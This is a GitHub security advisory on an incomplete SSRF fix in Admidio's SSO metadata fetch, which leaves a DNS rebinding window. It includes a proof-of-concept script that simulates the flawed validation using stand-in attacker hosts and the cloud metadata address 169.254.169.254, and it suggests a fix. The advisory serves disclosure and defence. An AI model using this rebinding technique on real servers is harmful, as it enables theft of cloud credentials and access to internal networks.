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Admidio has an incomplete fix for CVE-2026-32812 (SSRF)

Moderate severity GitHub Reviewed Published Apr 27, 2026 in Admidio/admidio • Updated May 8, 2026

Package

composer admidio/admidio (Composer)

Affected versions

<= 5.0.8

Patched versions

5.0.9

Description

Summary

The incomplete SSRF fix in Admidio's fetch_metadata.php validates the resolved IP address but passes the original hostname-based URL to curl_init(), leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.

Affected Package

  • Ecosystem: Other
  • Package: admidio
  • Affected versions: < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
  • Patched versions: >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

In modules/sso/fetch_metadata.php (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs filter_var($rawUrl, FILTER_VALIDATE_URL) (line 27), resolves the hostname via gethostbyname() and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to curl_init($url) at line 41.

The fundamental problem is at step 4: cURL resolves the hostname again independently. Between gethostbyname() at step 3 and curl_exec() at step 4, a DNS rebinding attack can cause the hostname to resolve to 169.254.169.254 (AWS metadata), 127.0.0.1, or any other internal address. No CURLOPT_RESOLVE is set to pin the hostname to the validated IP.

The TOCTOU window between gethostbyname() and curl_exec() is the core issue, and the patch does not close it.

PoC

#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php

Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.

Real vulnerable PHP code copied from:
  Admidio/admidio, modules/sso/fetch_metadata.php

This PoC runs the actual PHP validation logic via `php -r`.
"""

import subprocess
import sys
import os

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")


def run_php(code):
    return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)


def main():
    if not os.path.exists(VULN_PHP):
        print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
        sys.exit(1)

    print(f"Source file: {VULN_PHP}")
    print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")

    php_code = r"""
    echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";

    // Extracted from: modules/sso/fetch_metadata.php lines 21-49
    // Character-for-character copy of the validation logic:
    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
        // Only allow https:// scheme (line 21)
        if (!preg_match('#^https://#i', $rawUrl)) {
            return ['blocked' => true, 'reason' => 'Not HTTPS'];
        }

        // Validate URL (line 27)
        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);
        if (!$url) {
            return ['blocked' => true, 'reason' => 'Invalid URL'];
        }

        // Resolve hostname and block internal/private IP ranges (lines 34-38)
        $host = parse_url($url, PHP_URL_HOST);
        $ip = $simulated_ip;  // In real code: gethostbyname($host)

        if (filter_var($ip, FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            return ['blocked' => true, 'reason' => "Private/reserved IP: $ip"];
        }

        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname
        return [
            'blocked' => false,
            'url_passed_to_curl' => $url,
            'host' => $host,
            'checked_ip' => $ip,
        ];
    }

    $tests = [
        ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',
         'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],
        ['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254',
         'After rebind to metadata - blocked IF re-checked'],
        ['https://192.168.1.1/admin', '192.168.1.1',
         'Direct private IP - blocked'],
        ['https://10.0.0.1/internal', '10.0.0.1',
         'Direct internal IP - blocked'],
        ['http://attacker.com/metadata', '93.184.216.34',
         'HTTP scheme - blocked (HTTPS required)'],
        ['https://evil.com/metadata', '8.8.8.8',
         'External HTTPS URL - passes'],
    ];

    $vuln_found = false;
    foreach ($tests as $test) {
        $result = test_admidio_ssrf_filter($test[0], $test[1]);
        $status = $result['blocked'] ? 'BLOCKED' : 'PASSED';
        echo sprintf("%-65s => %s\n", $test[2], $status);

        if (!$result['blocked']) {
            $curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST);
            if ($curl_host !== $result['checked_ip']) {
                echo "  VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['checked_ip']}')\n";
                echo "  DNS can rebind between gethostbyname() and cURL connect\n";
                $vuln_found = true;
            }
        }
    }

    echo "\n=== Key Finding ===\n";
    echo "fetch_metadata.php line 41: curl_init(\$url) uses ORIGINAL URL with hostname\n";
    echo "IP check on line 35 used gethostbyname() result.\n";
    echo "TOCTOU window: DNS can rebind between check and cURL connection.\n";
    echo "CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\n\n";

    if ($vuln_found) {
        echo "VULNERABILITY CONFIRMED\n";
    }
    """

    result = run_php(php_code)
    print(result.stdout)
    if result.stderr:
        print(f"PHP stderr: {result.stderr}")

    if "VULNERABILITY CONFIRMED" in result.stdout:
        print("VULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("Vulnerability test inconclusive")
        sys.exit(1)


if __name__ == "__main__":
    main()

Steps to reproduce:

  1. Place the vulnerable fetch_metadata.php source in the same directory.
  2. Ensure PHP CLI is installed, then run python3 poc.py.
  3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.

Expected output:

VULNERABILITY CONFIRMED
curl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.

Impact

An attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (169.254.169.254) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.

Suggested Remediation

Use CURLOPT_RESOLVE to pin the hostname to the IP address returned by gethostbyname(), ensuring cURL connects to the exact IP that was validated:

$resolve = ["$host:443:$ip"];
curl_setopt($ch, CURLOPT_RESOLVE, $resolve);

Resources

References

@Fasse Fasse published to Admidio/admidio Apr 27, 2026
Published to the GitHub Advisory Database May 5, 2026
Reviewed May 5, 2026
Published by the National Vulnerability Database May 7, 2026
Last updated May 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-42194

GHSA ID

GHSA-hcjj-chvw-fmw9

Source code

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